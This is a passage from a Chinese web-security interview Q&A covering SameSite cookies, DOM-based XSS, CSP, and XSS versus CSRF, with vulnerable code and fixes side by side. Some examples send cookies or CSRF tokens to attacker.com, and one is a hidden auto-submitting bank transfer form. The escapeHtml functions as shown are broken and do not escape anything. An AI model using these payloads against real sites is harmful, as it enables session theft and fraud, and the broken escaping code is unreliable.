sameSite: 'strict'
});
// 2. 设置 Content Security Policy
app.use((req, res, next) => {
res.setHeader('Content-Security-Policy',
"default-src 'self'; " +
"script-src 'self'; " +
"style-src 'self' 'unsafe-inline';"
);
next();
});
// 3. 使用 CSRF Token
app.post('/api/transfer', csrfProtection, (req, res) => {
// 处理转账请求
});
```
#### 3. 测试和验证
**测试 SameSite Cookie:**
```javascript
// 测试 Strict 模式
async function testStrictMode() {
// 同站请求
const sameSiteResponse = await fetch('https://example.com/api/data');
console.log('Same-Site Request:', sameSiteResponse.status);
// 跨站请求
const crossSiteResponse = await fetch('https://example.com/api/data', {
mode: 'cors',
credentials: 'include'
});
console.log('Cross-Site Request:', crossSiteResponse.status);
}
// 测试 Lax 模式
async function testLaxMode() {
// 测试安全的跨站导航
const link = document.createElement('a');
link.href = 'https://example.com/page';
link.click();
}
```
### SameSite Cookie 的浏览器兼容性
#### 1. 浏览器支持
**支持的浏览器:**
- Chrome 51+(2016年)
- Firefox 60+(2018年)
- Safari 12+(2018年)
- Edge 79+(2020年)
- Opera 39+(2016年)
**不支持的浏览器:**
- Internet Explorer(所有版本)
- 旧版本的移动浏览器
#### 2. 兼容性处理
**降级策略:**
```javascript
// 检测浏览器是否支持 SameSite
function supportsSameSite() {
try {
document.cookie = 'testCookie=1; SameSite=Strict';
return document.cookie.includes('testCookie');
} catch (e) {
return false;
}
}
// 根据浏览器支持设置 Cookie
function setSecureCookie(name, value) {
if (supportsSameSite()) {
res.cookie(name, value, {
httpOnly: true,
secure: true,
sameSite: 'strict'
});
} else {
// 降级策略:使用其他安全措施
res.cookie(name, value, {
httpOnly: true,
secure: true
});
// 使用 CSRF Token
generateCSRFToken();
}
}
```
### 实际案例分析
#### 案例 1:在线银行
**问题:**
在线银行频繁遭受 CSRF 攻击,导致用户资金被盗。
**解决方案:**
```javascript
// 设置 Strict 模式
app.use(session({
secret: 'bank-secret-key',
cookie: {
httpOnly: true,
secure: true,
sameSite: 'strict',
maxAge: 3600000 // 1小时过期
}
}));
// 结果:
// - CSRF 攻击被阻止 ✓
// - 用户需要从银行网站内部发起转账
// - 安全性大幅提高 ✓
```
#### 案例 2:电商平台
**问题:**
电商平台需要允许用户从邮件链接访问,但又要防止 CSRF 攻击。
**解决方案:**
```javascript
// 设置 Lax 模式
app.use(session({
secret: 'ecommerce-secret-key',
cookie: {
httpOnly: true,
secure: true,
sameSite: 'lax',
maxAge: 86400000 // 24小时过期
}
}));
// 结果:
// - 用户可以从邮件链接正常访问 ✓
// - CSRF 攻击被阻止 ✓
// - 用户体验和安全性得到平衡 ✓
```
### 总结
SameSite Cookie 是防止 CSRF 和减少 XSS 影响的重要安全机制:
**SameSite 的三种模式:**
1. **Strict**:最严格,只允许同站请求发送 Cookie
2. **Lax**:相对宽松,允许安全的跨站导航发送 Cookie
3. **None**:最宽松,允许所有请求发送 Cookie
**SameSite 的最佳实践:**
1. 根据应用类型选择合适的模式
2. 结合 HttpOnly Cookie 和 CSP
3. 使用 CSRF Token 作为额外防护
4. 测试和验证 SameSite 设置
5. 处理浏览器兼容性问题
**SameSite 的局限性:**
1. 不能完全防止同站 XSS 攻击
2. 不支持旧版本浏览器
3. None 模式需要设置 secure 属性
4. 可能影响某些跨站功能
通过正确使用 SameSite Cookie 并结合其他安全措施,可以有效地防止 CSRF 攻击,减少 XSS 攻击的影响,提高 Web 应用的安全性。
前端 · 2月21日 16:27
什么是 DOM 型 XSS?如何检测和防护 DOM 型 XSS?## 答案
DOM 型 XSS(DOM-based XSS)是一种特殊的 XSS 攻击类型,它与传统的存储型和反射型 XSS 有本质区别。DOM 型 XSS 的漏洞完全存在于客户端的 DOM(文档对象模型)操作中,不涉及服务器的数据处理。
### DOM 型 XSS 的核心原理
**定义:**
DOM 型 XSS 是指攻击者利用客户端 JavaScript 代码中的漏洞,通过修改 DOM 结构来注入恶意脚本。这种攻击不经过服务器,恶意脚本直接在浏览器中执行。
**与传统 XSS 的区别:**
- **存储型 XSS**:恶意脚本存储在服务器数据库中
- **反射型 XSS**:恶意脚本通过 URL 参数传递,服务器将其反射回响应
- **DOM 型 XSS**:恶意脚本不经过服务器,完全在客户端执行
### DOM 型 XSS 的攻击流程
1. **攻击者构造恶意 URL**:包含恶意脚本片段的 URL
2. **用户访问恶意 URL**:用户被诱骗访问包含恶意参数的 URL
3. **JavaScript 读取 URL 参数**:页面中的 JavaScript 代码读取 URL 参数(如 `location.hash`、`location.search`)
4. **不安全的 DOM 操作**:JavaScript 将未经验证的数据直接插入 DOM
5. **恶意脚本执行**:浏览器解析 DOM 时执行恶意脚本
### 常见的 DOM 型 XSS 漏洞场景
#### 1. 使用 innerHTML 直接插入用户输入
**不安全代码:**
```javascript
// 危险:直接将用户输入插入 innerHTML
const userInput = location.hash.substring(1);
document.getElementById('output').innerHTML = userInput;
```
**攻击示例:**
```
http://example.com/page#<img src=x onerror=alert('XSS')>
```
**修复方法:**
```javascript
// 安全:使用 textContent
const userInput = location.hash.substring(1);
document.getElementById('output').textContent = userInput;
```
#### 2. 使用 document.write 写入用户输入
**不安全代码:**
```javascript
// 危险:使用 document.write 写入用户输入
const query = new URLSearchParams(location.search).get('q');
document.write('<div>' + query + '</div>');
```
**攻击示例:**
```
http://example.com/search?q=<script>alert('XSS')</script>
```
**修复方法:**
```javascript
// 安全:先编码再写入
const query = new URLSearchParams(location.search).get('q');
const encoded = escapeHtml(query);
document.write('<div>' + encoded + '</div>');
```
#### 3. 使用 eval 执行用户输入
**不安全代码:**
```javascript
// 危险:使用 eval 执行用户输入
const data = location.hash.substring(1);
eval('processData("' + data + '")');
```
**攻击示例:**
```
http://example.com/page#");alert('XSS');//
```
**修复方法:**
```javascript
// 安全:避免使用 eval
const data = location.hash.substring(1);
processData(data);
```
#### 4. 使用 setTimeout/setInterval 执行用户输入
**不安全代码:**
```javascript
// 危险:将用户输入作为字符串传递给 setTimeout
const userInput = location.search.substring(1);
setTimeout(userInput, 1000);
```
**攻击示例:**
```
http://example.com/page?alert('XSS')
```
**修复方法:**
```javascript
// 安全:传递函数而不是字符串
const userInput = location.search.substring(1);
setTimeout(() => processData(userInput), 1000);
```
#### 5. 使用 location 对象属性
**不安全代码:**
```javascript
// 危险:直接使用 location 属性
document.getElementById('welcome').innerHTML = 'Welcome, ' + location.hash;
```
**攻击示例:**
```
http://example.com/page#<script>alert('XSS')</script>
```
**修复方法:**
```javascript
// 安全:验证和编码
const hash = location.hash.substring(1);
const encoded = escapeHtml(hash);
document.getElementById('welcome').innerHTML = 'Welcome, ' + encoded;
```
### DOM 型 XSS 的检测方法
#### 1. 手动检测
**步骤:**
1. 识别页面中读取 URL 参数的 JavaScript 代码
2. 查找使用 `innerHTML`、`document.write`、`eval` 等危险 API 的地方
3. 构造测试 payload:`<script>alert(1)</script>` 或 `<img src=x onerror=alert(1)>`
4. 将 payload 插入 URL 参数中
5. 访问 URL,检查是否执行
**测试示例:**
```
# 测试 location.hash
http://example.com/page#<img src=x onerror=alert(1)>
# 测试 location.search
http://example.com/page?q=<script>alert(1)</script>
# 测试 location.pathname
http://example.com/<script>alert(1)</script>
```
#### 2. 自动化检测工具
**常用工具:**
- **DOM XSS Scanner**:专门用于检测 DOM 型 XSS
- **OWASP ZAP**:包含 DOM XSS 检测功能
- **Burp Suite**:可以检测 DOM 型 XSS 漏洞
- **XSStrike**:支持 DOM XSS 检测
#### 3. 静态代码分析
**检查要点:**
- 搜索 `innerHTML`、`outerHTML`、`document.write` 等危险 API
- 搜索 `eval`、`new Function()` 等动态代码执行
- 检查是否直接使用 `location`、`window.name` 等用户可控数据
- 检查是否对用户输入进行了验证和编码
### DOM 型 XSS 的防护策略
#### 1. 使用安全的 DOM API
**避免使用:**
```javascript
// 不安全
element.innerHTML = userInput;
element.outerHTML = userInput;
document.write(userInput);
```
**使用安全的替代方案:**
```javascript
// 安全
element.textContent = userInput;
element.innerText = userInput;
element.insertAdjacentText('beforeend', userInput);
```
#### 2. 对用户输入进行编码
**HTML 编码函数:**
```javascript
function escapeHtml(unsafe) {
return unsafe
.replace(/&/g, "&")
.replace(/</g, "<")
.replace(/>/g, ">")
.replace(/"/g, """)
.replace(/'/g, "'");
}
// 使用
const userInput = location.hash.substring(1);
element.innerHTML = escapeHtml(userInput);
```
#### 3. 避免动态代码执行
**避免使用:**
```javascript
// 不安全
eval(userInput);
new Function(userInput);
setTimeout(userInput, 1000);
setInterval(userInput, 1000);
```
**使用安全的替代方案:**
```javascript
// 安全
const data = JSON.parse(userInput);
processData(data);
setTimeout(() => processData(userInput), 1000);
```
#### 4. 使用 Content Security Policy (CSP)
**CSP 配置示例:**
```
Content-Security-Policy:
default-src 'self';
script-src 'self' 'unsafe-inline' 'unsafe-eval';
object-src 'none';
```
**更严格的 CSP:**
```
Content-Security-Policy:
default-src 'self';
script-src 'self';
object-src 'none';
base-uri 'self';
```
#### 5. 使用框架提供的安全机制
**React 示例:**
```jsx
// React 默认会对数据进行转义
function UserInput({ input }) {
return <div>{input}</div>; // 自动转义
}
// 如果必须使用 innerHTML,使用 dangerouslySetInnerHTML
function UserInput({ input }) {
return <div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(input) }} />;
}
```
**Vue 示例:**
```vue
<!-- Vue 默认会对数据进行转义 -->
<template>
<div>{{ userInput }}</div> <!-- 自动转义 -->
</template>
<!-- 如果必须使用 v-html,先进行净化 -->
<template>
<div v-html="sanitizedInput"></div>
</template>
<script>
import DOMPurify from 'dompurify';
export default {
data() {
return {
userInput: '',
sanitizedInput: ''
};
},
watch: {
userInput(newVal) {
this.sanitizedInput = DOMPurify.sanitize(newVal);
}
}
};
</script>
```
#### 6. 输入验证
```javascript
function validateInput(input) {
// 白名单验证
const allowedChars = /^[a-zA-Z0-9\s\-_.,!?]+$/;
return allowedChars.test(input);
}
// 使用
const userInput = location.hash.substring(1);
if (validateInput(userInput)) {
element.textContent = userInput;
}
```
### 实际案例分析
**案例 1:社交媒体分享功能**
```javascript
// 不安全的实现
function shareContent() {
const shareText = location.hash.substring(1);
document.getElementById('share-preview').innerHTML = shareText;
}
// 攻击 URL
http://example.com/share#<img src=x onerror=fetch('http://attacker.com/steal?c='+document.cookie)>
// 修复
function shareContent() {
const shareText = location.hash.substring(1);
document.getElementById('share-preview').textContent = shareText;
}
```
**案例 2:搜索结果高亮**
```javascript
// 不安全的实现
function highlightSearch() {
const query = new URLSearchParams(location.search).get('q');
const content = document.getElementById('content').innerHTML;
const highlighted = content.replace(new RegExp(query, 'gi'), '<mark>$&</mark>');
document.getElementById('content').innerHTML = highlighted;
}
// 攻击 URL
http://example.com/search?q=<script>alert(1)</script>
// 修复
function highlightSearch() {
const query = new URLSearchParams(location.search).get('q');
const safeQuery = escapeHtml(query);
const content = document.getElementById('content').textContent;
const highlighted = content.replace(new RegExp(safeQuery, 'gi'), '<mark>$&</mark>');
document.getElementById('content').innerHTML = highlighted;
}
```
### 总结
DOM 型 XSS 是一种隐蔽且危险的 XSS 攻击类型,因为它完全在客户端执行,传统的服务器端防护措施无法检测和阻止。防护 DOM 型 XSS 需要开发者:
1. 使用安全的 DOM API(如 `textContent` 代替 `innerHTML`)
2. 对所有用户输入进行适当的编码
3. 避免使用 `eval`、`document.write` 等危险函数
4. 实施 Content Security Policy
5. 使用框架提供的安全机制
6. 进行严格的输入验证
通过遵循这些最佳实践,可以有效地防止 DOM 型 XSS 攻击。
前端 · 2月21日 16:27
什么是 Content Security Policy(CSP)?如何使用 CSP 防止 XSS 攻击?## 答案
Content Security Policy(CSP,内容安全策略)是一种强大的安全机制,用于防止 XSS 攻击、数据注入攻击和其他类型的代码注入攻击。CSP 通过限制浏览器可以加载和执行的资源来源,有效地减少了攻击面。
### CSP 的核心概念
**定义:**
CSP 是一个 HTTP 响应头,它告诉浏览器哪些资源(如脚本、样式、图片、字体等)可以从哪些来源加载。通过定义白名单,CSP 可以防止恶意脚本的执行。
**基本语法:**
```
Content-Security-Policy: <policy-directive>; <policy-directive>; ...
```
### CSP 的主要指令
#### 1. default-src
设置所有资源类型的默认策略。如果没有为特定资源类型设置策略,则使用 default-src 的值。
```
Content-Security-Policy: default-src 'self';
```
#### 2. script-src
控制 JavaScript 脚本的来源。
```
Content-Security-Policy: script-src 'self' https://trusted.cdn.com;
```
#### 3. style-src
控制 CSS 样式表的来源。
```
Content-Security-Policy: style-src 'self' 'unsafe-inline';
```
#### 4. img-src
控制图片的来源。
```
Content-Security-Policy: img-src 'self' data: https:;
```
#### 5. connect-src
控制 XMLHttpRequest、WebSocket、EventSource 等连接的来源。
```
Content-Security-Policy: connect-src 'self' https://api.example.com;
```
#### 6. font-src
控制字体的来源。
```
Content-Security-Policy: font-src 'self' https://fonts.gstatic.com;
```
#### 7. object-src
控制 `<object>`、`<embed>`、`<applet>` 等元素的来源。
```
Content-Security-Policy: object-src 'none';
```
#### 8. media-src
控制 `<audio>`、`<video>` 等媒体元素的来源。
```
Content-Security-Policy: media-src 'self' https://media.example.com;
```
#### 9. frame-src
控制 `<frame>`、`<iframe>` 等框架元素的来源。
```
Content-Security-Policy: frame-src 'self' https://trusted-iframe.com;
```
#### 10. base-uri
限制 `<base>` 元素可以使用的 URL。
```
Content-Security-Policy: base-uri 'self';
```
#### 11. form-action
限制表单可以提交的目标 URL。
```
Content-Security-Policy: form-action 'self';
```
#### 12. frame-ancestors
限制哪些页面可以将当前页面嵌入到 `<frame>` 或 `<iframe>` 中。
```
Content-Security-Policy: frame-ancestors 'none';
```
### CSP 的源值
#### 1. 'self'
只允许从同源加载资源。
```
Content-Security-Policy: default-src 'self';
```
#### 2. 'none'
不允许从任何来源加载资源。
```
Content-Security-Policy: object-src 'none';
```
#### 3. 'unsafe-inline'
允许内联脚本和样式(不推荐使用)。
```
Content-Security-Policy: script-src 'self' 'unsafe-inline';
```
#### 4. 'unsafe-eval'
允许使用 `eval()` 和类似的函数(不推荐使用)。
```
Content-Security-Policy: script-src 'self' 'unsafe-eval';
```
#### 5. 'strict-dynamic'
允许由可信脚本加载的脚本执行。
```
Content-Security-Policy: script-src 'self' 'strict-dynamic';
```
#### 6. 'report-sample'
在违规报告中包含样本代码。
```
Content-Security-Policy: script-src 'self' 'report-sample';
```
#### 7. 具体域名
允许从特定域名加载资源。
```
Content-Security-Policy: script-src 'self' https://cdn.example.com;
```
#### 8. 通配符
允许从任何子域名加载资源。
```
Content-Security-Policy: script-src 'self' https://*.example.com;
```
#### 9. 协议限定
允许从特定协议加载资源。
```
Content-Security-Policy: img-src https:;
```
### CSP 如何防止 XSS 攻击
#### 1. 阻止内联脚本执行
**不安全的页面:**
```html
<script>
alert('XSS');
</script>
```
**使用 CSP 防护:**
```
Content-Security-Policy: script-src 'self';
```
**结果:** 内联脚本将被阻止执行。
#### 2. 阻止 eval 执行
**不安全的代码:**
```javascript
eval('alert("XSS")');
```
**使用 CSP 防护:**
```
Content-Security-Policy: script-src 'self';
```
**结果:** `eval()` 调用将被阻止。
#### 3. 限制外部脚本来源
**不安全的页面:**
```html
<script src="https://malicious.com/script.js"></script>
```
**使用 CSP 防护:**
```
Content-Security-Policy: script-src 'self' https://trusted.cdn.com;
```
**结果:** 来自恶意域名的脚本将被阻止加载。
#### 4. 阻止动态脚本注入
**不安全的代码:**
```javascript
const script = document.createElement('script');
script.src = 'https://malicious.com/script.js';
document.body.appendChild(script);
```
**使用 CSP 防护:**
```
Content-Security-Policy: script-src 'self';
```
**结果:** 动态注入的脚本将被阻止加载。
### CSP 的实施方式
#### 1. 通过 HTTP 响应头
**Node.js Express 示例:**
```javascript
app.use((req, res, next) => {
res.setHeader(
'Content-Security-Policy',
"default-src 'self'; script-src 'self' https://trusted.cdn.com; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:;"
);
next();
});
```
**Nginx 配置示例:**
```nginx
add_header Content-Security-Policy "default-src 'self'; script-src 'self' https://trusted.cdn.com; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:;";
```
**Apache 配置示例:**
```apache
Header always set Content-Security-Policy "default-src 'self'; script-src 'self' https://trusted.cdn.com; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:"
```
#### 2. 通过 HTML meta 标签
```html
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self';">
```
**注意:** meta 标签方式不如 HTTP 响应头安全,因为某些攻击可能绕过 meta 标签。
### CSP 报告模式
在实施 CSP 之前,可以使用报告模式(Report-Only)来测试策略,而不会阻止任何资源加载。
```
Content-Security-Policy-Report-Only: default-src 'self'; script-src 'self'; report-uri /csp-report
```
**报告端点示例:**
```javascript
app.post('/csp-report', (req, res) => {
console.log('CSP Violation:', req.body);
res.status(204).end();
});
```
### CSP 违规报告
当 CSP 策略被违反时,浏览器会发送违规报告到指定的端点。
**报告格式示例:**
```json
{
"csp-report": {
"document-uri": "http://example.com/page.html",
"referrer": "http://example.com/",
"violated-directive": "script-src",
"effective-directive": "script-src",
"original-policy": "default-src 'self'; script-src 'self'",
"disposition": "report",
"blocked-uri": "https://malicious.com/script.js",
"line-number": 10,
"column-number": 5,
"source-file": "http://example.com/page.html",
"status-code": 200,
"script-sample": ""
}
}
```
### CSP 最佳实践
#### 1. 从严格策略开始
```
Content-Security-Policy: default-src 'none'; script-src 'self'; connect-src 'self'; img-src 'self' data:; style-src 'self' 'unsafe-inline'; base-uri 'self'; form-action 'self';
```
#### 2. 逐步放宽策略
根据实际需求逐步添加允许的来源。
```
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:;
```
#### 3. 避免使用 'unsafe-inline' 和 'unsafe-eval'
**不推荐:**
```
Content-Security-Policy: script-src 'self' 'unsafe-inline' 'unsafe-eval';
```
**推荐:**
```
Content-Security-Policy: script-src 'self' 'nonce-abc123';
```
#### 4. 使用 nonce 或 hash
**Nonce 示例:**
```html
<script nonce="abc123">
// 这个脚本将被允许执行
</script>
```
```
Content-Security-Policy: script-src 'self' 'nonce-abc123';
```
**Hash 示例:**
```html
<script>
alert('Hello');
</script>
```
```
Content-Security-Policy: script-src 'self' 'sha256-qznLcsROx4GACP2dm0UCKCzCG+HiZ1guq6ZZDob/Tng=';
```
#### 5. 使用 report-uri 监控违规
```
Content-Security-Policy: default-src 'self'; script-src 'self'; report-uri /csp-report
```
#### 6. 定期审查和更新策略
定期检查 CSP 违规报告,根据实际情况调整策略。
### CSP 的局限性
#### 1. 不完全兼容旧浏览器
旧版本浏览器可能不支持 CSP 或支持不完整。
#### 2. 可能影响功能
严格的 CSP 策略可能阻止某些合法功能,如第三方分析工具、广告等。
#### 3. 不能完全替代其他安全措施
CSP 不能替代输入验证、输出编码等其他安全措施。
#### 4. 配置复杂
正确配置 CSP 需要深入理解应用程序的资源依赖关系。
### 实际案例
**案例 1:防止存储型 XSS**
```javascript
// 服务器端设置 CSP
app.use((req, res, next) => {
res.setHeader('Content-Security-Policy', "default-src 'self'; script-src 'self';");
next();
});
// 即使攻击者在评论区注入了恶意脚本
// <script>alert('XSS')</script>
// 浏览器也会阻止脚本执行
```
**案例 2:防止反射型 XSS**
```javascript
// 服务器端设置 CSP
app.use((req, res, next) => {
res.setHeader('Content-Security-Policy', "default-src 'self'; script-src 'self';");
next();
});
// 即使攻击者构造了恶意 URL
// http://example.com/search?q=<script>alert('XSS')</script>
// 浏览器也会阻止脚本执行
```
**案例 3:防止 DOM 型 XSS**
```javascript
// 服务器端设置 CSP
app.use((req, res, next) => {
res.setHeader('Content-Security-Policy', "default-src 'self'; script-src 'self';");
next();
});
// 即使页面中有不安全的 DOM 操作
// document.getElementById('output').innerHTML = location.hash;
// 浏览器也会阻止内联脚本执行
```
### 总结
Content Security Policy 是防止 XSS 攻击的强大工具,它通过限制资源来源和阻止不安全的脚本执行,有效地减少了 XSS 攻击的风险。实施 CSP 的最佳实践包括:
1. 从严格的策略开始,逐步放宽
2. 避免使用 'unsafe-inline' 和 'unsafe-eval'
3. 使用 nonce 或 hash 来允许特定的内联脚本
4. 使用报告模式测试策略
5. 定期审查和更新策略
6. 将 CSP 作为多层防御策略的一部分
虽然 CSP 不能完全替代其他安全措施,但它是现代 Web 应用安全架构中不可或缺的一部分。
前端 · 2月21日 16:27
XSS 和 CSRF 有什么区别?如何区分和防护这两种攻击?## 答案
XSS(跨站脚本攻击)和 CSRF(跨站请求伪造)是两种常见的 Web 安全漏洞,它们在攻击原理、攻击方式和防护策略上有本质区别。理解这两者的区别对于构建安全的 Web 应用至关重要。
### XSS 和 CSRF 的核心区别
#### 1. 攻击原理
**XSS(跨站脚本攻击):**
- 攻击者将恶意脚本注入到受害者的浏览器中
- 恶意脚本在受害者的浏览器上下文中执行
- 攻击者可以访问受害者的 Cookie、LocalStorage、Session 等
**CSRF(跨站请求伪造):**
- 攻击者诱骗受害者向目标网站发送请求
- 请求在受害者的浏览器中自动发送,携带受害者的认证信息
- 攻击者无法直接访问受害者的 Cookie 或 Session
#### 2. 攻击目标
**XSS:**
- 目标是受害者的浏览器
- 利用的是浏览器对注入脚本的信任
- 攻击者可以执行任意 JavaScript 代码
**CSRF:**
- 目标是目标网站的 API 或表单
- 利用的是网站对用户浏览器认证的信任
- 攻击者只能发送特定的 HTTP 请求
#### 3. 攻击方式
**XSS 攻击示例:**
```javascript
// 攻击者在评论区注入恶意脚本
<script>
const stolenCookie = document.cookie;
fetch('http://attacker.com/steal?cookie=' + encodeURIComponent(stolenCookie));
</script>
```
**CSRF 攻击示例:**
```html
<!-- 攻击者构造恶意页面 -->
<img src="http://bank.com/transfer?to=attacker&amount=10000" style="display:none;">
```
#### 4. 攻击者能力
**XSS:**
- 可以读取和修改 DOM
- 可以访问 Cookie(非 HttpOnly)
- 可以访问 LocalStorage 和 SessionStorage
- 可以发送任意 AJAX 请求
- 可以执行任意 JavaScript 代码
**CSRF:**
- 只能发送 HTTP 请求
- 无法读取响应内容
- 无法访问 Cookie
- 无法执行 JavaScript 代码
- 受同源策略限制
### 详细对比表
| 特性 | XSS | CSRF |
|------|-----|------|
| 全称 | Cross-Site Scripting | Cross-Site Request Forgery |
| 中文名称 | 跨站脚本攻击 | 跨站请求伪造 |
| 攻击原理 | 注入恶意脚本到受害者浏览器 | 诱骗受害者发送伪造请求 |
| 攻击目标 | 受害者的浏览器 | 目标网站的 API/表单 |
| 攻击者能力 | 执行任意 JavaScript 代码 | 只能发送 HTTP 请求 |
| 访问 Cookie | 可以访问非 HttpOnly Cookie | 自动携带所有 Cookie |
| 读取响应 | 可以读取响应内容 | 无法读取响应内容 |
| 同源策略 | 可以绕过同源策略 | 受同源策略限制 |
| 防护重点 | 输入验证、输出编码、CSP | CSRF Token、SameSite Cookie |
| 危害程度 | 高(可以完全控制浏览器) | 中(只能发送特定请求) |
### XSS 攻击详解
#### 攻击流程
1. 攻击者发现 XSS 漏洞
2. 攻击者构造恶意脚本
3. 攻击者将恶意脚本注入到目标网站
4. 受害者访问被注入的页面
5. 恶意脚本在受害者浏览器中执行
6. 攻击者窃取数据或执行恶意操作
#### 攻击类型
1. **存储型 XSS**:恶意脚本存储在服务器数据库中
2. **反射型 XSS**:恶意脚本通过 URL 参数传递
3. **DOM 型 XSS**:恶意脚本通过 DOM 操作执行
#### 防护措施
1. **输入验证**:对所有用户输入进行严格验证
2. **输出编码**:对所有输出进行适当的编码
3. **Content Security Policy**:限制资源来源
4. **HttpOnly Cookie**:防止 JavaScript 访问 Cookie
5. **使用安全的 DOM API**:避免使用 `innerHTML` 等
### CSRF 攻击详解
#### 攻击流程
1. 用户登录目标网站(如银行网站)
2. 用户访问攻击者构造的恶意网站
3. 恶意网站向目标网站发送请求
4. 浏览器自动携带用户的认证信息
5. 目标网站执行请求,认为这是用户的合法操作
#### 攻击类型
1. **GET 请求 CSRF**:通过 `<img>`、`<script>` 等标签发送 GET 请求
2. **POST 请求 CSRF**:通过隐藏表单自动提交 POST 请求
3. **JSON CSRF**:通过构造 JSON 格式的请求进行攻击
#### 防护措施
1. **CSRF Token**:在请求中添加随机 Token
2. **SameSite Cookie**:限制 Cookie 的跨站发送
3. **验证 Referer/Origin**:检查请求来源
4. **自定义 Header**:添加自定义请求头
5. **双重提交 Cookie**:将 Token 同时放在 Cookie 和请求参数中
### 实际代码示例
#### XSS 攻击示例
**存储型 XSS:**
```javascript
// 不安全的代码
app.post('/comment', (req, res) => {
const comment = req.body.comment;
db.save(comment); // 直接保存,未验证
});
app.get('/comments', (req, res) => {
const comments = db.getAll();
res.send(comments.join('')); // 直接输出,未编码
});
// 攻击者提交
POST /comment
{
"comment": "<script>fetch('http://attacker.com/steal?c='+document.cookie)</script>"
}
```
**修复方法:**
```javascript
// 安全的代码
function escapeHtml(unsafe) {
return unsafe
.replace(/&/g, "&")
.replace(/</g, "<")
.replace(/>/g, ">")
.replace(/"/g, """)
.replace(/'/g, "'");
}
app.get('/comments', (req, res) => {
const comments = db.getAll();
const encodedComments = comments.map(c => escapeHtml(c)).join('');
res.send(encodedComments);
});
```
#### CSRF 攻击示例
**不安全的代码:**
```javascript
// 转账接口,没有 CSRF 防护
app.post('/transfer', (req, res) => {
const { to, amount } = req.body;
const userId = req.session.userId; // 从 Session 获取用户 ID
// 执行转账
bank.transfer(userId, to, amount);
res.json({ success: true });
});
// 攻击者构造的恶意页面
<html>
<body>
<form action="http://bank.com/transfer" method="POST" style="display:none;">
<input type="hidden" name="to" value="attacker">
<input type="hidden" name="amount" value="10000">
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
```
**修复方法:**
```javascript
// 使用 CSRF Token 防护
const csrf = require('csurf');
const csrfProtection = csrf({ cookie: true });
app.get('/transfer', csrfProtection, (req, res) => {
res.json({ csrfToken: req.csrfToken() });
});
app.post('/transfer', csrfProtection, (req, res) => {
const { to, amount } = req.body;
const userId = req.session.userId;
bank.transfer(userId, to, amount);
res.json({ success: true });
});
// 前端代码
fetch('/transfer', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-CSRF-Token': csrfToken
},
body: JSON.stringify({ to, amount })
});
```
### XSS 和 CSRF 的组合攻击
攻击者可能同时利用 XSS 和 CSRF 漏洞进行更复杂的攻击:
**攻击场景:**
1. 攻击者通过 XSS 窃取 CSRF Token
2. 使用窃取的 Token 发起 CSRF 攻击
3. 绕过 CSRF 防护机制
**示例:**
```javascript
// XSS 脚本窃取 CSRF Token
const csrfToken = document.querySelector('meta[name="csrf-token"]').content;
fetch('http://attacker.com/steal?token=' + csrfToken);
// 攻击者使用窃取的 Token 发起 CSRF 攻击
fetch('http://bank.com/transfer', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-CSRF-Token': stolenToken
},
body: JSON.stringify({ to: 'attacker', amount: 10000 })
});
```
### 防护策略对比
#### XSS 防护策略
1. **输入验证**
- 白名单验证
- 数据类型验证
- 长度限制
2. **输出编码**
- HTML 编码
- JavaScript 编码
- URL 编码
- CSS 编码
3. **Content Security Policy**
- 限制脚本来源
- 禁止内联脚本
- 禁止 eval
4. **HttpOnly Cookie**
- 防止 JavaScript 访问 Cookie
5. **安全的 DOM 操作**
- 使用 textContent 代替 innerHTML
- 避免使用 document.write
#### CSRF 防护策略
1. **CSRF Token**
- 随机生成 Token
- 验证 Token 有效性
- Token 一次性使用
2. **SameSite Cookie**
- Strict:完全不发送跨站 Cookie
- Lax:部分发送跨站 Cookie
- None:允许发送跨站 Cookie(需要 Secure)
3. **验证 Referer/Origin**
- 检查请求来源
- 白名单验证
4. **自定义 Header**
- 添加自定义请求头
- 验证 Header 有效性
5. **双重提交 Cookie**
- Token 同时在 Cookie 和请求参数中
- 验证两者是否匹配
### 检测方法
#### XSS 检测
1. **手动测试**
- 在输入框中注入 `<script>alert(1)</script>`
- 检查是否执行
2. **自动化扫描**
- OWASP ZAP
- Burp Suite
- XSStrike
3. **代码审计**
- 检查所有用户输入点
- 检查输出点是否编码
#### CSRF 检测
1. **手动测试**
- 构造跨站请求
- 检查是否执行
2. **自动化扫描**
- CSRFTester
- OWASP ZAP
3. **代码审计**
- 检查是否有 CSRF Token
- 检查 SameSite Cookie 设置
### 总结
XSS 和 CSRF 是两种不同但同样危险的 Web 安全漏洞:
**XSS 的核心特点:**
- 攻击者可以执行任意 JavaScript 代码
- 可以访问和修改浏览器中的数据
- 危害程度更高,攻击者能力更强
- 防护重点:输入验证、输出编码、CSP
**CSRF 的核心特点:**
- 攻击者只能发送 HTTP 请求
- 无法访问响应内容或浏览器数据
- 危害程度中等,攻击者能力有限
- 防护重点:CSRF Token、SameSite Cookie
**最佳实践:**
1. 同时防护 XSS 和 CSRF
2. 实施多层防御策略
3. 定期进行安全审计和渗透测试
4. 使用安全框架和库
5. 加强开发人员安全意识
通过理解 XSS 和 CSRF 的区别,并采取相应的防护措施,可以有效地保护 Web 应用免受这些常见的安全威胁。
前端 · 2月21日 16:25
什么是 XSS 攻击?XSS 攻击有哪些类型和防护方法?## 答案
XSS(Cross-Site Scripting,跨站脚本攻击)是一种常见的网络安全漏洞,它允许攻击者将恶意脚本注入到原本无害的网页中。当其他用户浏览这些已经被注入恶意脚本的网页时,嵌入其中的脚本会在用户的浏览器中被执行,攻击者可以利用这些脚本进行进一步的恶意操作,如窃取用户的会话令牌(cookies)、劫持用户会话、重定向到恶意网站或者在用户不知情的情况下进行其他攻击行为。
### XSS 攻击的三种主要类型
1. **存储型 XSS(Stored XSS)**
- 恶意脚本被永久存储在目标服务器上(如数据库、消息论坛、评论区等)
- 当用户访问包含恶意脚本的页面时,脚本会被执行
- 危害最大,因为攻击者不需要诱骗用户访问特定 URL
- 示例:在评论区提交 `<script>alert(document.cookie)</script>`
2. **反射型 XSS(Reflected XSS)**
- 恶意脚本通过 URL 参数传递,服务器将其反射回响应中
- 需要用户点击恶意链接才会触发
